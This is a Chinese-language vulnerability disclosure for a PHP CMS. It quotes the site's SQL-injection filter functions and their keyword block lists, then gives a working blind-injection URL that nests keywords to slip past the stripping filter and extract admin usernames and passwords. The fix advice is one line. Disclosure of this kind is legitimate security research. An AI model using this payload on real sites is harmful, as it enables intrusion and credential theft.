直接看到/app/model/attackAction.class.php这个文件
public function initLogHacker() { /*get*/ foreach($_GET as $key=>$value){ if (!in_array($key, array('ac','a','c','do'))){//防止控制器和方法命名不规范被过滤 $this->StopAttack($key,$value,"get",$this->getfilter); $_GET[$key] = StringUtil::safe_replace($value); $_GET[$key] = StringUtil::remove_xss($_GET[$key]); } } 对于get类型的处理。跟进StopAttack private function inject_check($sql_str) { return eregi('select|insert|\'|\/\*|\*|\.\.\/|\.\/|union|into|and|or|load_file|outfile', $sql_str);// 进行过滤 }......... private function StopAttack($StrFiltKey,$StrFiltValue,$method,$ArrFiltReq){ $StrFiltValue = strtolower($StrFiltValue); if(is_array($StrFiltValue)) { $StrFiltValue=implode($StrFiltValue); } if ($this->inject_check($StrFiltValue) || preg_match ( "/" . $ArrFiltReq . "/is", $StrFiltValue ) == 1){ if ($method == 'cookie') { $_COOKIE[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } if ($method == 'get') { $_GET[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } if ($method == 'post') { $_POST[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } } } private function logAttack($StrFiltValue,$method) { $attackStr = "<br><br>SubmitIP:".$_SERVER["REMOTE_ADDR"]."<br>SubmitTime:".strftime("%Y-%m-%d %H:%M:%S")."<br>SubmitPage:".$_SERVER["REQUEST_URI"]."<br>SubmitMethod:".$_SERVER["REQUEST_METHOD"]."<br>SubmitParams:".NetUtil::get_url()."<br>SubmitData:".$StrFiltValue; $mailObj = new Email(); $this->url = NetUtil::get_url(); $this->ip = NetUtil::getIp(); $this->str = $attackStr; $this->killip = 0; $this->method = $method; $this->addtime = time(); $row = $this->query("select id from ".TABLEPRE."attack where ip='".NetUtil::getIp()."'"); if (count($row) > 5) { $this->id = $row[0]["id"]; $this->killip = 1; $this->update(); } else { $this->save(); } if (Config::get('attackmail') == 1) { $mailObj->Subject = "WebSite Attack Notice"; $mailObj->Body = $attackStr; $mailObj->sendMail(); } } } 记录下attack然后发送邮件- -。继续看到 safe_replace public static function safe_replace($string) { $string = strtolower($string); $string = str_replace("_", '\_', $string); // 把 '_'过滤掉 $string = str_replace("%", '\%', $string); // 把' % '过滤掉 $string = str_replace('%20', '', $string); $string = str_replace('%27', '', $string); $string = str_replace('%2527', '', $string); $string = str_replace('*', '', $string); $string = str_replace('"', '"', $string); $string = str_replace("'", '', $string); $string = str_replace('"', '', $string); $string = str_replace(';', '', $string); $string = str_replace('<', '<', $string); $string = str_replace('>', '>', $string); $string = str_replace("{", '', $string); $string = str_replace('}', '', $string); $string = str_replace('\\', '', $string); $string = str_replace('or', '', $string); $string = str_replace('insert', '', $string); $string = str_replace('select', '', $string); $string = str_replace('delete', '', $string); $string = str_replace('and', '', $string); $string = str_replace('union', '', $string); $string = str_replace('load_file', '', $string); $string = str_replace('outfil', '', $string); $string = str_replace('truncate', '', $string); $string = str_replace('..', '', $string); $string = str_replace('//', '/', $string); $string = str_replace('http:/', 'http://', $string); return $string; } 替换关键字为空。sql的话 remove_xss函数我们无视就好了。影响不大。 我们找一个 执行sql语句的文件 像这个。/app/controller/news.class.php 注册用户 get数据 http://localhost/index.php?ac=news_all&yz=1 aananddnd exists (selseselectlectect username from tc_user where ooorrrd(substring(username from 1 fooorrr 1))=97)%23。 在两次safe_replace后。 还原了我们的语句 虽然记录了 attack到了数据库 但是语句还是执行了的。 写个脚本循环替换 for x to 1 和 =97(+ -)的值 分分钟就可以获取到管理账号密码了。
修复方案:重写过滤函数 |
-
上一篇: 某国际机票建站系统权限绕过导致可通杀进入后
下一篇: TinyShop二次注入 - 网站安全 - 自学php
还没有人抢沙发呢~